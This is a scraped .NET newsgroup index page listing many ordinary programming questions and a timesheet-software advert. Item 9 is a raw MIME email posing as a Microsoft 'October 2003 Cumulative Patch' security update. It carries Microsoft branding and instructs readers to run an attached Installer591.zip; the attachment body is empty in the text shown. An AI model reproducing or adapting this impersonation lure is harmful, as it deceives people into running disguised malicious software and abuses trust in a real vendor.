| Garbage from headers spilling into web pages |
|
 |
Index ‹ DotNet ‹ Visual C#.Net
|
- Previous
- 1
- Net Framework >> How Secure is "Friend"If I have a strongly-named assembly, I'm wondering how secure is declaring
methods as Friend?
Is this enough to ensure other assemblies will not be able to access the
method (including over a Remoting boundary) or is there some other framework
mechansim I should be employing also.
Many thanks everyone.
===
Phil
(Auckland | Aotearoa)
- 2
- Visual C#.Net >> Clearing textboxes..hi there, i am writing a program with LOTS of textboxes in it.. my problem
is when i try to clean the textboxes with foreach it gives error.. heres how
my code looks like:
private void ClearText ()
{
foreach (textbox t in this.controls)
{
t.text = ""
}
}
but it doesnt work! it was working quite good on visual basic.net but this
code seems not working with c#?!
- 3
- Microsoft Project >> Old MS Project 4.0 for Mac 9.2.2Dear List,
I am trying to install MS Project 4.0 into a PowerMac G4 running Mac OS
9.2.2 with external Floppy Drive (USB connected.) I booted the computer with
Extensions OFF (as suggested by ReadMe file.) I have the lot of 9 diskettes
for the installation. When I run the MS Project Setup program I get the
message "Microsoft Setup was not completed successfully." That's all. No
more clues. This same software used to install in 9.2. Older computer,
though.
Does anyone have any clue of what's going on? How do I get it installed?
TIA.
- 4
- 5
- Net Framework >> Strong Named Assemblies and Non Strong Named assembliesHi All
I have a third party .net assembly that I do not have the code for and it
also does not have a strong name.
I want to strongly name my assemblies but I keep getting an error saying
that the 3rd party assembly is not signed.
I have had a look at the tlbimp.exe but this looks like it only works for
ActiveX/COM componants, NOT .Net assemblies.(Unless I am typing in the wrong
commands....keep getting error not a valid type library)
Is there some compile switch or something that will not check on this 3rd
party dll for a strong name?
Thanks
David
- 6
- 7
- Visual C#.Net >> Interface InheritanceNot sure if this is the correct way to go about this, but it seems
correct. I'm trying to eliminate dependencies through interfaces and
want to minimize casting as much as possible, as a result I have
interface inheritance setup like so
Here's my class setup:
BlogPost : IBlogPost
PodcastPost : BlogPost, IPodcastPost
IPodcastPost : IBlogPost
Class Blog
- has reference to IBlogPost
Class Podcast
- has reference to IPodcastPost
Now, If I pass around an instance of PodcastPost to methods that accept
IBlogPost, will it require
a cast? This inheritance structure seems a little complex, but then on
the other hand in my unittests, it seems to be accomplishing everything
I need it to.
Is this too confusing?
thanks
Sean
- 8
- Net Framework >> Control malfunction.Hi, Good Day!
All my control like auto indentation, auto synchronize variable with those
declare in 'dim' are not functioning.
When i switch btw HTML and design, I found that my code in HTML became
weird, some of the alphabet disappear, for eg, textbox become txtbox; width
become widh.
It seems like my visual studio.net died.
Anything to do with settings?
Any suggestion? Will reinstall be better? I've repair the microsoft visual
studio.net but it seems the same.
Can someone help?
rgds,
Phoebe.
- 9
- Net Framework >> Take a look at security update--qnuuxbnqkxdj
Content-Type: multipart/related; boundary="sfsyzfnjgij";
type="multipart/alternative"
--sfsyzfnjgij
Content-Type: multipart/alternative; boundary="agveldcmhfduq"
--agveldcmhfduq
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Customer
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run code on your computer.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2003 Microsoft Corporation.
--agveldcmhfduq
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:uryxmkn" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Customer<BR><BR>
this is the latest version of security update, the
"October 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run code on your computer.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:xojrpyd" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:xojrpyd" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:xojrpyd" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:xojrpyd" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:xojrpyd" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|
<A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" =
TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A>
</FONT></B>
</TD>
</TR>
<TR VALIGN=3D"MIDDLE">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1">
©2003 Microsoft Corporation. All rights reserved.
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>
|
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/privacy.htm" TARGET=3D"_top">
Privacy Statement</A> |
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
enable/" TARGET=3D"_top">Accessibility</A>
</FONT>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
--agveldcmhfduq--
--sfsyzfnjgij
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <uryxmkn>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX
55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z
3EWC31mS40Zxr4uw6LXN8iZkuXmn55q97PH2/Yir1rbL5iVTh3Oj2cvX5Pv9/+/w8QF8606h62Wk
3n+dubnY9abB2c7n/83h9Nji6weK+CGJ4Vim6WyKpKWssgFyyAaV/0Km8Gyx6HW57FJxicDP2+Tt
9Pj8/wOa/wmL5wqd/w6V8heb91e5+mS9+VmLr4vD6qvc/b/j/Mbn/sTi9rvX6szq/tPt/9ju/dzx
/+n2/+74//P6/+3w8hOh/xOW6yCm/iuu/zWv/0m4/XTH/IXK95TP9qPV9bfi/tDn9tfp9OP0/93r
9L3Izy6Vzj22/lrC/mfG/JvJ5JGntAyd6IbX/3zD6GzP/3jV/2uoxHqbqujv8g6MvJTj/2HF5pXV
606zz6Hp/63v/7j1/8Ps88b8/rbj5RKOkE2wr3OGhoKGhv7///Dx8V2alqvm4Zni1YPRvx5uVwyO
X0q2hLTvw8X10gx2H4PXkkuoV5zkoQeADZu7mmzIVEO7HIXbaGfLMPz8+97d2/Px7v///+bl5eHg
4P7+/v39/fT09PLy8u7u7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA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DBM2KwfGa0QAMXOBLg5y8B6V/gAVNowhQogIEV
61kEDXAAPdADTVAJaKBjtgd3KCR3mrZ7nWZ36kZzx0QIV5AQGNAC5Xd+x6B+7Md8KYBN0oZkziIt
E4AAKTAACtBQ8ZIA3NcBKrAMMRB+RfEAzLAM0aAMz/ACLwANyrcMyNACKXABCwA40VKEFPBwRtYE
cjAHhmAEU5AAAzgFYjAHrHZmCVhODPhyvAeBtkJzNUYIs5AQNLgM5VeBV9CDoQeEIZABICADbviG
FBAtRqYAzCAQAVACOSAACFACMngYFqACNRgAgiiIy+CDLQCEJCAD/yWgAV7ViHF4ATOQAFMABxI3
cWM0B6tWhQjoduIWd7nXgC20hXfHbkOBPRSYECFgAchQg4VYiMyQhikAAjdwAStgAydyIm1yARVA
AQXQASvQhzYSAA2AAav4iq/4g0AYiyRwATRQAiqgAggwAxYgA7t4AAcQAjcIjBTSAgYwAySADOB4
iMkoi7uCAQuQJBYgZj3FfQOwDNpYJSnQAROAAZozjuS4AAsAfzLgAGzyACzYfXX4jlVSAmVAfQ+w
MCRgAyRAAvhIMCmCXNtXAAYQAu4okHryAzaAARNgjQYJJxNAfRF5AAaQAy2QjRYpdWBQBV2QawrA
gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7
--sfsyzfnjgij
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <xojrpyd>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=
--sfsyzfnjgij--
--qnuuxbnqkxdj
Content-Type: application/x-compressed; name="Installer591.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
--qnuuxbnqkxdj--
- 10
- Visual C#.Net >> Adding Application Extension Mappings using C#Can anyone tell me how to add extension,executable path ,verbs etc in
Application Extension Mappings ( Go to 'IIS', right click any of the
virtual directory,'Properties', then 'Home Directory', then
'Configuration'....) using C#.
Thanks in advance
Vimal
- 11
- Winforms >> Logitech quickcam pro 5000 with windows xp media edition and MSNI can't get my webcam to work with msn at all! I've tried everything the
logitech tech support have suggested. It keeps saying my webcam is either
not connected or being used by another program..which it isn't. I know the
webcam itself does work I am able to use it with yahoo messanger.
Anyone else run into the is problem using this webcam with msn? or have a
solution?
- 12
- 13
- 14
- 15
- Net Framework >> Changing DisplayNames of my properties using PropertyGrid component, how ??I'm using Delphi 2006 and I have a class defination like this:
TPerson = class
fPersonName : String;
fPersonSurName : String;
fPersonAge : Integer;
published
property PersonName : String read fPersonName write fPersonName;
property PersonSurname : String read fPersonSurname write fPersonSurname;
property PersonAge : Integer read fPersonAge write fPersonAge;
end;
and i want to display my class instance using PropertyGrid,so...
var
mPerson : TPerson;
begin
mPerson := TPerson.Create;
mPerson.PersonName := 'Tugrul';
mPerson.PersonSurname := 'HELVACI';
mPerson.PersonAge := 31;
PropertyGrid1.SelectedObject := mPerson;
end;
at the above code i can see my class instance in the property grid.
But i want to change property display names in the propertygrid component.
Because of these, i was searching on the net and i found PropertyDescriptor
abstract class
and ICustomTypeConverter interface.
i implemented theese classes following:
TArrayOfAttribute = array of Attribute;
TMyDescriptor = class(PropertyDescriptor)
private
base : PropertyDescriptor;
fName: String;
function GetName : String;
function GetDisplayName : String;
function GetIsReadOnly : Boolean;
function GetComponentType : &Type;
function GetPropertyType : &Type;
function GetCustomNames(baseName : String) : String; // my custom names
getter function
public
constructor Create(baseP : PropertyDescriptor; filter :
TArrayOfAttribute); overload; virtual;
constructor Create(baseP : PropertyDescriptor); overload; virtual;
function CanResetValue(comp : TObject) : Boolean;
function GetValue(comp : TObject) : TObject;
procedure ResetValue(comp : TObject);
procedure SetValue(comp : TObject; Value : TObject);
function ShouldSerializeValue(comp : TObject) : Boolean;
property Name : String read GetName;
property DisplayName : String read GetDisplayName;
property IsReadOnly : Boolean read GetIsReadOnly;
property ComponentType : &Type read GetComponentType;
property PropertyType : &Type read GetPropertyType;
end;
TMyClass = class(TInterfacedObject, ICustomTypeDescriptor)
public
function GetProperties(filter : TArrayOfAttribute) :
PropertyDescriptorCollection; overload;
function GetAttributes : AttributeCollection;
function GetClassName : String;
function GetComponentName : String;
function GetConverter : TypeConverter;
function GetDefaultEvent : EventDescriptor;
function GetEvents(attributes : TArrayOfAttribute) :
EventDescriptorCollection; overload;
function GetEvents : EventDescriptorCollection; overload;
function GetDefaultProperty : PropertyDescriptor;
function GetProperties : PropertyDescriptorCollection; overload;
function GetEditor(editorBaseType : System.Type) : TObject;
function GetPropertyOwner(pd : PropertyDescriptor) : TObject;
end;
and my new TPerson class is:
TPerson = class(TMyClass)
fPersonName : String;
fPersonSurName : String;
fPersonAge : Integer;
published
property PersonName : String read fPersonName write fPersonName;
property PersonSurname : String read fPersonSurname write fPersonSurname;
property PersonAge : Integer read fPersonAge write fPersonAge;
end;
**************** IMPLEMENTATIONS BELOW *********************************
{ TMyDescriptor }
function TMyDescriptor.CanResetValue(comp: TObject): Boolean;
begin
Result := base.CanResetValue(comp);
end;
constructor TMyDescriptor.Create(baseP: PropertyDescriptor;
filter: TArrayOfAttribute);
begin
inherited Create(baseP, filter);
Self.base := baseP;
end;
constructor TMyDescriptor.Create(baseP: PropertyDescriptor);
begin
inherited Create(baseP);
Self.base := baseP;
end;
function TMyDescriptor.GetComponentType: &Type;
begin
Result := base.ComponentType;
end;
function TMyDescriptor.GetDisplayName: String;
begin
Result := GetCustomNames(base.Name);
end;
function TMyDescriptor.Getir(baseName : String): String;
begin
if baseName = 'PersonName' then Result := 'Names of the Personel';
if baseName = 'PersonSurname' then Result := 'Surname of the personel';
if baseName = 'PersonAge' then Result := 'Age of the personel';
end;
function TMyDescriptor.GetIsReadOnly: Boolean;
begin
Result := base.IsReadOnly;
end;
function TMyDescriptor.GetName: String;
begin
Result := base.Name;
end;
function TMyDescriptor.GetPropertyType: &Type;
begin
Result := base.PropertyType;
end;
function TMyDescriptor.GetValue(comp: TObject): TObject;
begin
Result := base.GetValue(comp);
end;
procedure TMyDescriptor.ResetValue(comp: TObject);
begin
base.ResetValue(comp);
end;
procedure TMyDescriptor.SetValue(comp, Value: TObject);
begin
base.SetValue(comp, value);
end;
function TMyDescriptor.ShouldSerializeValue(comp: TObject): Boolean;
begin
Result := base.ShouldSerializeValue(comp);
end;
{ TMyClass }
function TMyClass.GetProperties(
filter: TArrayOfAttribute): PropertyDescriptorCollection;
var
baseProps : PropertyDescriptorCollection;
newProps : array of PropertyDescriptor;
iCounter : Integer;
oldname,
newname : String;
begin
baseProps := TypeDescriptor.GetProperties(GetType(), filter);
SetLength(newProps, baseProps.Count);
for iCounter := 0 to baseProps.Count do
begin
newProps[iCounter] := TMyDescriptor.Create(baseProps[iCounter], filter);
// An error occured : E2402 constructing instance of abstract class..
oldname := PropertyDescriptor(baseProps[iCounter]).DisplayName;
newName := TMyDescriptor(newProps[iCounter]).DisplayName;
end;
Result := PropertyDescriptorCollection.Create(newProps);
end;
function TMyClass.GetAttributes: AttributeCollection;
begin
Result := TypeDescriptor.GetAttributes(Self, true);
end;
function TMyClass.GetClassName: String;
begin
Result := TypeDescriptor.GetClassName(Self, true);
end;
function TMyClass.GetComponentName: String;
begin
Result := TypeDescriptor.GetComponentName(Self, true);
end;
function TMyClass.GetConverter: TypeConverter;
begin
Result := TypeDescriptor.GetConverter(Self, true);
end;
function TMyClass.GetDefaultEvent: EventDescriptor;
begin
Result := TypeDescriptor.GetDefaultEvent(Self, true);
end;
function TMyClass.GetDefaultProperty: PropertyDescriptor;
begin
Result := TypeDescriptor.GetDefaultProperty(Self, true);
end;
function TMyClass.GetEditor(editorBaseType: System.Type): TObject;
begin
Result := TypeDescriptor.GetEditor(Self, editorBaseType, true);
end;
function TMyClass.GetEvents: EventDescriptorCollection;
begin
Result := TypeDescriptor.GetEvents(Self, true);
end;
function TMyClass.GetEvents(
attributes: TArrayOfAttribute): EventDescriptorCollection;
begin
Result := TypeDescriptor.GetEvents(Self, attributes, true);
end;
function TMyClass.GetProperties: PropertyDescriptorCollection;
begin
Result := TypeDescriptor.GetProperties(Self, true);
end;
function TMyClass.GetPropertyOwner(pd: PropertyDescriptor): TObject;
begin
Result := Self;
end;
I dont understand what is this. Can anybody helps me , how can i
subclassing PropertyDescriptor class correctly ??
Even we take an error when using delphi.net , we dont take any error
message using c#,
i want change the display name of the property which is the added to my
special class by using the propertyGrid Component ...
It's seems like DisplayNameAttirubute of the .net Framework 2.0
With My Best Regards,
Thanks For Helping
|
| Author |
Message |
XII

|
Visual C#.Net >> Garbage from headers spilling into web pages
Anybody ever get random pieces of leftover headers showing up in the
displayed output in web pages from asp? It's only sometimes on a postback.
What does this?
Bob Dickow
DotNet126
|
| |
|
| |
 |
| |
 |
Index ‹ DotNet ‹ Visual C#.Net |
- Next
- 1
- Visual C#.Net >> Using C# Interfaces and User ControlsHi everyone
I am trying to create a .net web application, and I am having trouble
with an aspect of using user controls...
I want to be able to create a generic method of calling a number of
user controls, based on a variable that is passed to a parent form..
the folling is an excerpt of my code
ReportName = Request.QueryString["name"];
ReportPath = ReportName+".ascx";
Cert.Forms.InterfaceReport CReport;
CReport = (Cert.Forms.InterfaceReport) LoadControl(ReportPath);
CReport.LoadRequestData(Request);
divContainer.Controls.Add(CReport);
where the report class name is passed to the form in the Request
object, and is retrieved using the QueryString method. i then pass
some other Request information to the user control class instance that
is opened. doing some testing has revealed that the 2nd line of code
is working correctly. the problem comes however, when i try to add
the user control to a panel (called divContainer) on the parent form.
the error i am getting is shown below..
Argument '1': cannot convert from 'Cert.Forms.InterfaceReport' to
'System.Web.UI.Control'
If anyone has any ideas, they would be greatly appreciated....
- 2
- Visual C#.Net >> Brush By NameI would like to get a reference to a Brush using the color name of the
brush. For example, right now if I want a brush with a certain color, I
would hard code something like Brushes.PeachPuff, this will get me a
PeachPuff brush, but what if my brush depended on a string passed by the
user? If all I had was a string with the name "PeachPuff" how can I create
Brushes.PeachPuff using the string value?
Thank you.
- 3
- Dotnet >> Creating an application upgrade or service packHi,
I need advise on the best practice to issue upgrades / service packs for my
product. The app is written in VB.NET and the installer is created using the
a VS 2003 Setup project.
If I need to change a single dll, just replacing it cause the app to crash
with manifest problems etc.
Thank for your suggestions
Tim
- 4
- Dotnet >> Test DateIn VB6 I could do something like:
If dMyDate<=2 Then
would return true if the date was not a recent date.
How can I do this in VB2005?
I've tried Cdbl(dMyDate)<=2 but I get an error message telling me I can't do
this 'cast'.
I've tried Google but can't find any examples.
Larry Rebich
- 5
- Net Framework >> Writing to remote registry as a processI have a simple program that gets the names of all of the computers on our
NT domain then changes the background color of the login screen in HK_USERS
using OpenRemoteBaseRegistry.
The program works fine, however not all of the computers listed on the
domain are necessarily connected or turned on. Is there any way to either
determine (quickly) if the computer is even connected to the network or
perhaps run the registry changing portion of the program as a process so
that I can kill the process if it takes more than a few seconds to write to
the registry?
Thanks
Dave Clark
- 6
- Dotnet >> VS.NET 2002 Solutions DeploymentHi folks
I am currently writing all of my front-end applications in VB.NET 2002, and
deploying them to the user's local machine using a deployment project.
However, we now want to change the way in which we grant access to these
applications. Therefore, I have been asked to come up with a solution
whereby the application can reside in a central location on the network, and
users can access it as needs be.
I've been working on this on my own PC, which is also my development
environment. What I've done so far is to use CASPOL to fully trust the
desired location on the network. In doing this, I've been "reliably"
informed that I only need to assign full trust rights on one folder - any
subsequent folders within that will automatically assume the same rights.
However, when I try to run an application from that central location, I get
a security exception error.
I guess what I need to know is this: If I'm changing a solution so that it
no longer has a deployment project, what settings do I need to change?
Also, if the solution contains more than 1 project, will everything for that
solution be output to the same folder when I do a release build?
TIA
- 7
- Microsoft Project >> How do I remove a 'Progress Line'?I just started looking over the different features of MS Project and while
viewing with the 'Tracking Gantt' option checked, I am trying different
buttons just to see what they do and, for instance, when I click the 'Add
Progress Line' and click in the schedule somewhere, I can't remove it; 'Can't
Undo' is what is displayed under the 'Edit' drop down menu.
I typed in 'remove progress line' in the help 'Search for:' dialog box and
didn't get any 'help' from that either.
The only relevant search result that comes close the subject of 'remove
progress line' is 'About progress lines', which doesn't address how to
'remove' them.
My only way around this will be to save after each successful task and close
without saving and open the file back up if I use the wrong function - and
this is ludicrous at best.
Any suggestions would be greatly appreciated.
- 8
- Dotnet >> Scalable .net applicationWe need to determine the proper architecture for a new .NET application
which must be scalable, i.e. we must be able to add additional web servers
as the need arises in order to accommodate increased system load. The
application is highly dependent on SQL Server 2000. The operations system is
Windows 2003 Server. What should we be using for network load balancing
(NLB)? Do we need Application Center? What if we started with 2 web servers
and 2 database servers as an example, and then add additional web servers
later on?
Any advice is appreciated. Thanks!!
- 9
- Visual C#.Net >> calendarHi,
I get the date from a calendar and put it into a text box.
TxtDate.Text = Calendar1.SelectedDate.ToShortDateString();
But I would like to also do it the other way around. That is, convert the
textbox to a calendar date, so that the calendar (when you open it) has the
same value as the date in the textbox.
Thanks for your help
Chris
- 10
- 11
- Winforms >> UI UpdatingHi
My Windows Forms applications consists of a listview control
containing of approximately 1000 items, and a worker thread that
performs a lot of execution. After performing some portion of
execution I update the main UI by using a delegate on the main form to
call an update function on the GUI thread.
However, under times of high load my GUI seems to struggle to apply
the updates requested, and portions of the screen (other buttons etc)
are not repainted when I resize the window.
Does anyone have any ideas how I can improve the responsiveness of the
main window. It is important the list view is updated as execution in
the worker thread requires, whilst at the same time the remainder of
the window needs to stay responsive.
Thanks in advance.
- 12
- Dotnet >> Web timesheet 100$ for unlimited usersWeb timesheet 100$ for unlimited users
Source code is available in just US$250
by http://www.livetecs.com
TimeLive Web timesheet suite is integrated suite for time record, time
tracking and time billing software. The TimeLive suite of products
deliver a time tracking solution for professional service providers.
Each of our products has been designed to meet the time tracking
needs of specific segments of the service provider market, including
both time tracking and time and billing applications.
TimeLive on-demand timesheet solution helps organizations eliminate the
paperwork and manual processes associated with time collection.
TimeLive is available in two different flavors. Hosted version and
downloadable version. Downloadable version required certain system
requirement to install on local server. Whereas hosted version is already
installed on our fully managed server on state of art datacenter.
Free Lite version is available in both hosted and installable version.
Here are some key features of "TimeLive":
Online TimeSheet
-------------------
- Track your contractor and employee's timesheet using full featured and
easy to use Time Entry tool. You can then use detailed and summarized
view
of all time records using different tools.
- Time Entry Day View for entering full day timesheet in just one server
hit.
- Time Entry Week View for entering full week timesheet in just one server
hit.
- Organization setup like Departments, Locations, Roles
- Different type of Off day monitoring like Sick Days, Vacations etc.
- Client Setup with multiple client contacts and departments.
- Project Setup
- Task setup with multiple assignees for single task.
- Audit Trail
- EMail notification of different timesheet related activities to users.
- Different billing type setup like Hourly / Task based / Call based
- Timesheet approval
- Customizable Timesheet Approval Paths
(None,Administrator,Project,TeamLead, External User (Client))
- Reports with all possible filter selection to get your required output.
- Detail Timesheet Report
- Different timesheet summary reports for based on Client, Project,
Employee, Date
- Timesheet Approval status report
- Reminders to employee for their pending entries.
- Role wise billing rates.
Billing
-------
- Different billing rate pick option like employee own billing rate, role
based billing rate, project specific billling rate.
- Billing rate history
- Billable / non billable hour tracking
- Different billing related reports
Expenses Tracking
------------------
- Manage and monitor your project expenses with easy to use integrated
TimeLive Expense management tools.
- Expense entry view for employee to enter their expenses occurred on
project.
- Billable / Unbillable expenses.
- Detail Reports for monitoring expenses
- Different summarize report by Project / Employee / Expenses.
- Customizable Approval of Expenses with different approval options.
-- Team Lead
-- Project Manager
-- Administrator.
-- Client (External User)
- Expenses approval monitoring.
Project Monitoring
---------------------
- Full featured tool to manage your projects and their task with single
integrated tool.
- Nested Task with task hierarchy.
- Tracking of project status
- Assigning of projects to multiple employee
- Tracking of project tasks
- Different dashboard view for Project Manager, Team Lead and Team Member.
- Different report to track and monitor overall project status.
Attendance
------------
- Web based Attendance system to record and monitor all employee attendance
using simple / fully featured tool.
- Time In
- Time Out
- Off Day reporting for different purpose like Sick leave, vacation etc
- Working Day setup
- Daily Attendance report
- Summary reports for employee off days to track employee Sick
leave,vacation etc.
- Detail report employee off days.
Other Features
----------------
- Exportable reports in Word, PDF and XLS file.
- Downloadable / Hosted version
- Free full featured basic version upto 5 users
- Unlimited disk space for all plans
- International date formats supported.
- Role based security.
- Multiple currency support.
- Fully customizable UI with ability of changing company logo.
Developed in ASP.Net 2, Microsoft ASP.Net Ajax 1.0, SQL Server 2005
- 13
- ADO >> connection to access file failsHi guys,
I added to a form an oldbconnection to connect to an Access file (access
2000), using the wizard I select the MDB file but when i test it i got an
error "Invalid authorization specification".
The user name is the default Admin, and no password.
What am I missing??
the data source is "Microsoft Access Database File (OLE DB)"
TIA
- 14
- 15
- Visual C#.Net >> Re Run method in another windows form?GetInstalledPrinters do not requires 2 parameters.
SP,
Basically make sure that your event handler method getCurrentPrinters has
signature of (object, EventArgs e)
Thanks,
Ashish
